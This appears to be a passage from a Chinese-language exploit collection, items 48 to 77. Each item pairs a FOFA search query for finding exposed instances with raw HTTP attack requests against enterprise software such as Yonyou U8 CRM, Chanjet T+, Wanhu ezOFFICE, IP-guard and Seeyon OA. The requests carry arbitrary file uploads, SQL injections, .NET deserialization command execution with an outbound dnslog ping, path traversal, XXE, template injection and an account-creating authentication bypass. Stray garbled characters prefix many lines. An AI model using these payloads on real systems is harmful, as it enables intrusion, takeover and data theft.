Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
If-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
Connection: close
# W' [, m  N0 @: }
" f' V- h( Y1 b/ e
7 F9 m4 F8 f% W
! `9 n9 |' i' P, P* p) X48. 用友U8 CRM swfupload 任意文件上传
, m& g. c, P1 H- HFOFA：title="用友U8CRM"
POST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
; b9 _( r/ c0 UHost: your-ip
- Y- C/ p4 y( U3 KUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
! `/ ]" j* C5 T; T% Z& PAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
" C/ E, r. m2 g$ p* d+ {Content-Type: multipart/form-data;boundary=----269520967239406871642430066855
* y  L7 E0 ]) p3 f' v  T------269520967239406871642430066855
Content-Disposition: form-data; name="file"; filename="s.php"
1 O  e) }; m1 F, e7 p: _$ q9 o$ B1231
; @! T% |% D$ {6 c* G- WContent-Type: application/octet-stream
------269520967239406871642430066855
" v- C  P- b$ }8 @2 D. hContent-Disposition: form-data; name="upload"
% ^7 Z5 p( n; ?) w+ yupload
------269520967239406871642430066855--


49. 用友U8 CRM系统uploadfile.php接口任意文件上传
' a& Q% i& `  F' I/ \FOFA：body="用友U8CRM"
; o* v. d0 s- x' `. T9 Z+ P
7 M2 b# O* N) V# m" H6 W7 ]8 e9 k8 xPOST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
. {1 @/ J" `0 xHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Content-Length: 329
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w

5 @' E; u5 D7 p! D" |0 b-----------------------------vvv3wdayqv3yppdxvn3w
, `& [  C' F3 ^' K, J- q. E- R# q( HContent-Disposition: form-data; name="file"; filename="%s.php "
Content-Type: application/octet-stream

wersqqmlumloqa
; F- r7 O$ S3 ]* @6 d-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="upload"
# E4 }) Y$ T1 K3 W. A
upload
! `- M8 Q1 u7 c& _-----------------------------vvv3wdayqv3yppdxvn3w--

8 r0 m* f7 I7 p' d) r+ d
http://x.x.x.x/tmpfile/updB3CB.tmp.php

50. QDocs Smart School 6.4.1 filterRecords SQL注入
9 ^( q# ^/ O" A2 |  z' V; ~# r& i( _3 zFOFA：body="close closebtnmodal"
- J' ?9 L3 p# V3 APOST /course/filterRecords/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
, l$ d. l& l- RConnection: close
Content-Length: 224
/ C& \: ~0 b# m9 O! A8 b+ o% `& E- IAccept: */*
1 m" p. l& C) x- ~) _4 K) WAccept-Language: en
Content-Type: application/x-www-form-urlencoded
$ v5 c& V8 {  W7 V: I" B; a; {Accept-Encoding: gzip
+ a, `: A: v! N
searchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1
) i  o# o9 G; m( a8 F  ]4 S

51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
FOFA：app="云时空社会化商业ERP系统"
. [, o) K. \, L( _2 @3 @+ iGET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
5 h7 N5 @0 o/ B' A2 f5 PUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
' q# k" ?8 E2 f! z, qAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close


4 ~' }( |9 Z' b/ |# r" z52. 泛微E-Office json_common.php sql注入
FOFA：app="泛微-EOffice"
* S. R; o$ N, u! N- q2 x4 FPOST /building/json_common.php HTTP/1.1
, N5 X- q* L5 F$ F- oHost: 192.168.86.128:8097
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
& X  N$ b3 s/ pConnection: close
Content-Length: 87
+ j; I2 w( U* m3 c0 w  q3 [& BAccept: */*
Accept-Language: en
0 y9 F! D6 G, F- r% Y+ r+ S( B1 bContent-Type: application/x-www-form-urlencoded
8 g! F0 ?- Q7 u0 HAccept-Encoding: gzip

tfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333

% ?1 q* K% f/ ^( f3 M6 C& e' n; L( S
' S: v  K/ B0 O3 l- g53. 迪普 DPTech VPN Service 任意文件上传
5 }1 Z& _( E2 h# iFOFA：app="DPtech-SSLVPN"
/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
9 |& ?' \7 ^) N. q

54. 畅捷通T+ getstorewarehousebystore 远程代码执行
! j0 w+ H3 G9 ?" a' B+ \FOFA：app="畅捷通-TPlus"
第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"


7 Z, \' y9 |  C& u# |) ~) ~0 r. Q/ n完整数据包
POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
: b6 `" C8 o) dHost: x.x.x.x
& e" l" ?0 R( Q1 e" ?User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
& V4 r0 g6 Q: d7 ?" LContent-Length: 593
* l0 I6 |" f! M6 Z- X* e
  a. c6 n0 B' m$ ]{
"storeID":{
. t0 a/ L( V. k0 U* P "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
5 D6 Y* L) o1 a/ A# q% W! a "MethodName":"Start",
  "ObjectInstance":{
) P4 n0 t% d' s6 N   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
: \4 V2 u3 w# m& N/ f    "StartInfo":{
* Y2 W# k2 V7 f& b( W   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "FileName":"cmd",
    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
    }
  }
. \* j& }2 w7 J/ V  H- E$ p) a. S  }
}

& y- ]: a: ?! y! R
/ t! t0 N) Q- \; W- r" h+ h5 V第二步，访问如下url
/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt

# @% j: J0 `$ z0 k; a
55. 畅捷通T+ getdecallusers信息泄露
FOFA：app="畅捷通-TPlus"
& K8 S# ~. L/ ?6 a4 U第一步，通过
1 G1 ?7 p* i3 A& E- [% v/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
第二步，利用获取到的Cookie请求
; L6 s) m* p9 K& O' s6 P/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers
0 {8 h" F! K) k8 }
56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
FOFA: app="畅捷通-TPlus"
! ?( v3 e3 M) {( n% B1 K1 E* PPOST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
8 {0 d! |# O- t9 a% [Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
$ X+ @$ w* Q4 Q! G7 K* w& ]: d) bContent-Type: application/json

8 @; e: R9 |, Y9 E{
  "storeID":{
7 Y( ^  T5 J' l& f5 j' N/ t# {( t4 o    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
$ Q5 t! U& |2 n   "MethodName":"Start",
" K) _, K4 g* }; z; `8 l7 ~( N+ i    "ObjectInstance":{
       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
        "StartInfo": {
           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
       }
- G6 p2 r: T+ e3 c0 c7 [5 e9 N    }
  }
! D$ ^' G; N0 U9 k% z) T+ g}

% U" H# X7 C% B& w
57. 畅捷通T+ keyEdit.aspx SQL注入
FOFA：app="畅捷通-TPlus"
7 n( m( g4 [7 I, [GET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
* B$ F9 T; U) L9 ]; I. z: _Host: host
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
+ m. ~4 F0 Z3 M7 q8 \7 W/ gAccept-Charset: utf-8
5 I. o* q# V& H+ u$ \' i) h0 zAccept-Encoding: gzip, deflate
Connection: close

- z' ^3 e0 \. l
6 o6 y/ k6 O, [  B. n/ u58. 畅捷通T+ KeyInfoList.aspx sql注入
FOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
4 q2 S6 V; |, \% M6 OAccept-Charset: utf-8
# G. p3 |1 t- C# t0 C0 \; FAccept-Encoding: gzip, deflate
Connection: close


59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
FOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
. @, i  t  o1 y! X6 r7 oPOST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
  X+ x! I, C0 b, `5 @% `8 sHost: 192.168.86.128:9090
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
Content-Length: 1669
  j# q9 F" x2 U/ D- Z/ n/ C! tAccept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
4 N, ~7 \  m; O9 FAccept-Encoding: gzip
  Q6 r+ J4 W: A% C
PAYLOAD


6 s9 ?% H( D4 f1 \$ e60. 百卓Smart管理平台 importexport.php SQL注入
FOFA：title="Smart管理平台"
. Q2 V+ N2 T" |0 Z$ M9 VGET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
Host:
! l6 Y2 u* i$ fUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
" Y9 a9 U- F5 v1 `1 ]* d, xAccept-Language: zh-CN,zh;q=0.9
' Q2 y4 d( O* bConnection: close
0 W5 W: n* T1 r) R0 O' X7 C
# `5 p$ @% K8 B7 u/ A, L
6 a, h5 f5 J2 ]. E) D% Z7 D$ h+ \61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
8 D. X9 D8 m, yFOFA: title="欢迎使用浙大恩特客户资源管理系统"
POST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
Host: x.x.x.x
' W* M' g' z5 `- K+ M/ U: {User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
; s5 n) G$ v+ J# {, ^# J" K; sConnection: close
Content-Length: 27
- \* x  f2 ]3 a$ ^7 y+ o% V( C- X! lAccept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en
1 Y) n% f3 i3 mContent-Type: application/x-www-form-urlencoded

% L7 {& t/ }" _0 n) ~) U- l% n* s8uxssX66eqrqtKObcVa0kid98xa


62. IP-guard WebServer 远程命令执行
FOFA："IP-guard" && icon_hash="2030860561"
0 Q5 _, E/ D& u. P9 e3 w4 r6 gGET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
" f) ]- l- r( _: R$ YConnection: close
Accept: */*
, S3 _. t/ T3 ?- a( m* ZAccept-Language: en
Accept-Encoding: gzip
! C+ E/ H4 v  i2 p( ?3 I; y1 Y
5 M' d6 U2 }( X$ O- B% p
访问

GET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x

* v! [; k- Y  E& M% _
63. IP-guard WebServer任意文件读取
- F+ d# ^$ p% w! I. \* _IP-guard < 4.82.0609.0
FOFA：icon_hash="2030860561"
" ^' W' `* V( k! h, bPOST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
1 e: U" D; A( ~! t$ h) @. QAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
% j  f' z2 _7 J. r( J6 oAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
7 U3 E8 r! p  mConnection: close
& y5 c* x* ~2 a6 o0 yContent-Type: application/x-www-form-urlencoded
0 Y5 Y$ r+ P* l6 W% s
path=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A

64. 捷诚管理信息系统CWSFinanceCommon SQL注入
FOFA：body="/Scripts/EnjoyMsg.js"
POST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
- I: d/ z& a2 V* _" A! P9 PHost: 192.168.86.128:9001
, K$ |9 S+ M+ A; H* zUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
3 O- N' @; x  @' cConnection: close
, K9 H) ~; C' v9 s# Z9 W) OContent-Length: 369
Accept: */*
* [0 T4 D& [% K; ^2 ?3 c- N. q2 sAccept-Language: en
' r& I! N; }! PContent-Type: text/xml; charset=utf-8
Accept-Encoding: gzip
  k, i; D$ D7 \8 \8 G0 j0 E) U
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
% T/ G, W( t$ J3 O2 z+ W* b% p<soap:Body>
    <GetOSpById xmlns="http://tempuri.org/">
' X6 B; u2 |6 Y; G: z! p" g* {7 m      <sId>1';waitfor delay '0:0:5'--+</sId>
% w- {# q- V2 q2 }2 v    </GetOSpById>
& d* J2 G" i, p3 E/ K  </soap:Body>
! x* j$ i4 z4 @6 y0 {" m</soap:Envelope>

1 k3 z! I4 `) o
9 r$ D9 b( b0 {' k65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
FOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
' G0 }# S1 }- |! c* C% e响应200即成功创建账号test123456/123456
  H- [5 w! Y' o/ u2 y( WPOST /SystemMng.ashx HTTP/1.1
Host:
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
- t! a2 \& [6 E! mAccept-Encoding: gzip, deflate
7 k) r* T2 C, m4 t8 hAccept: */*
3 k1 O8 b( H6 [4 d7 AConnection: close
* \7 L$ O) Y6 RAccept-Language: en
Content-Length: 174
4 p& P/ y8 b: V+ e7 g& B
  I* f  f! ^1 C6 S  n4 M5 S) joperatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators
7 b2 u' ~' a2 D8 l
# {- U8 {# }: f& \" T0 E) Q( B
66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
FOFA：app="万户ezOFFICE协同管理平台"

GET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
: o7 O; B: z1 @) {- AHost: x.x.x.x
1 ^4 q( n7 e% `; y7 |User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
5 g4 h, @3 ~4 i& D- QAccept: */*
Accept-Language: en
2 t# P4 }, \2 V$ f1 `0 n4 K  nAccept-Encoding: gzip

( \, y( s6 g" d* h4 s
第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在
4 h3 G; e% G- ?, i% B
67. 万户ezOFFICE wpsservlet任意文件上传
FOFA：app="万户网络-ezOFFICE"
newdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
0 z( q" N, D7 N- g- k5 _8 b5 UPOST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
Host: x.x.x.x
) R0 {- e2 h0 g9 \! E+ W/ rUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Content-Length: 173
8 W% g0 T6 X& u) KAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
  m; ?: o& K" z4 g; ]Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
Content-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
. w! T. R* u* y: j% z* CDNT: 1
8 T6 ~8 F7 i  }9 \1 M8 u9 MUpgrade-Insecure-Requests: 1
0 f& f+ D. e4 _6 n7 q
# z8 R1 [0 L. g: B& U--ufuadpxathqvxfqnuyuqaozvseiueerp
1 o8 @7 g9 T5 lContent-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"

: l) G, _$ h* O8 W. J<% out.print("sasdfghjkj");%>
/ }' g7 ?$ ?2 ~* b% k$ V4 X2 p: Z- \--ufuadpxathqvxfqnuyuqaozvseiueerp--
9 m( y" w$ ?* r1 |

0 x$ I- B5 \+ w+ N& D0 c' O# d" _文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp

* e, T5 g( W) i6 M68. 万户ezOFFICE wf_printnum.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
  M' U( L8 D. p+ vGET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: {{host}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Encoding: gzip, deflate
0 U7 }! z8 z; ^6 ?Accept-Language: zh-CN,zh;q=0.9
5 V0 i, u& V) ?/ Z! t2 y) iConnection: close

0 g. U, B6 _* d: n+ {8 t; F
4 x' S, B; x9 e, _* ^; a& t5 |69. 万户 ezOFFICE contract_gd.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
Host: your-ip
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
3 x8 F9 Q( L) I$ d4 I0 e, XAccept: */*
) b8 E' v0 z; A! XConnection: keep-alive

$ m4 ]! }% W' U6 z9 Y* s& Q$ a
70. 万户ezEIP success 命令执行
) e; W  E9 B7 t, _5 R2 aFOFA：app="万户网络-ezEIP"
. H3 a- |7 z6 r2 J4 L0 E3 F- _POST /member/success.aspx HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
SID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
Content-Type: application/x-www-form-urlencoded
9 H! _5 p! m9 N9 z4 A& gTYPE: C
Content-Length: 16702

% F" j% ?3 z/ Y1 }* {/ F+ e# ]__VIEWSTATE=PAYLOAD


71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
FOFA：body="PM2项目管理系统BS版增强工具.zip"
) c7 t9 W6 u; E' G$ WGET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
. E. X0 p0 V1 }5 ZHost: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Connection: close
# H3 B# I) d( j7 a( e- OAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
) ^+ ^/ n# }5 tAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1

/ n6 b( S4 e/ ^3 e1 V3 s+ u/ j3 z
72. 致远OA getAjaxDataServlet XXE
% v6 e! i4 `# M8 A3 eFOFA：app="致远互联-OA"
POST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
Host: 192.168.40.131:8099
! x5 U7 o. x# c: d' X( d) GUser-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
Content-Length: 583
4 R: [2 A5 p2 AContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
' g; A2 h3 ~8 h# w0 s: F
! a$ Y2 I, L, ~% h6 Y' v/ GS=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E


73. GeoServer wms远程代码执行
FOFA：icon_hash=”97540678”
5 F, |2 g$ D1 i( S; ZPOST /geoserver/wms HTTP/1.1
Host:
! E+ v2 l' `8 M+ `- u+ R; SUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
; Y& L! W5 n* p9 Y) Y- YContent-Length: 1981
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/xml
SL-CE-SUID: 3

PAYLOAD
4 F  J+ A; U9 q

74. 致远M3-server 6_1sp1 反序列化RCE
! w, ?( E2 B: A; D2 }! FFOFA：title="M3-Server"
2 {1 q% n1 t9 t; }; Z; pPAYLOAD
2 o0 F0 u/ T8 S) g! y7 L" d5 {) j
8 f/ K  s# q* p  J3 I8 G7 ^  b7 m75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
FOFA：app="TELESQUARE-TLR-2005KSH"
GET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
/ C5 Z# v. Z/ x% XHost: x.x.x.x
3 V6 w, P+ P% K' eUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Connection: close
. v, J% D- h/ w' Q8 w) h& mAccept: */*
Accept-Language: en
7 d: D( D$ g" qAccept-Encoding: gzip


1 j, k1 m7 `( ]& I" n; u9 y) LGET /cgi-bin/test28256.txt HTTP/1.1
; {1 I/ n/ n: BHost: x.x.x.x
5 ]8 b+ k* T* i1 e
+ I$ ~$ n' ^# h! ^
76. 新开普掌上校园服务管理平台service.action远程命令执行
FOFA：title="掌上校园服务管理平台"
POST /service_transport/service.action HTTP/1.1
Host: x.x.x.x
: U- s6 s& r4 p- E% UUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
4 x4 P- W3 [2 ]/ E7 y* o9 ]Connection: close
5 n6 {3 X. a, AContent-Length: 211
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
% y( G6 |- c1 k% JAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
. r/ O7 a! [$ Y7 Q( wCookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
/ L3 v5 ]1 i0 E1 H9 D( G8 X! ]7 vUpgrade-Insecure-Requests: 1

1 o1 f1 T6 R" H/ }{
"command": "GetFZinfo",
  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
9 H3 p, D4 x) |  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
}

! P: ?& C; J; I+ B- r# k- j
# p7 F% L, S# W9 |" t6 w& u3 ]- D& {GET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
3 E' i2 y: X% ^/ NHost: x.x.x.x

5 @! O+ t7 S9 A1 y

77. F22服装管理软件系统UploadHandler.ashx任意文件上传
9 }1 K  k2 a. }; J; K0 {FOFA：body="F22WEB登陆"
POST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
6 ]/ l- m! F- c7 v4 xHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
( n: j, I6 Y( P! SConnection: close
( G3 _6 R1 F- Y9 P/ T; {: WContent-Length: 433
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix

" q2 x' n. z, r. Y4 X------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="folder"
/ }3 B4 s) A2 J/ E7 `0 z, R) F% |
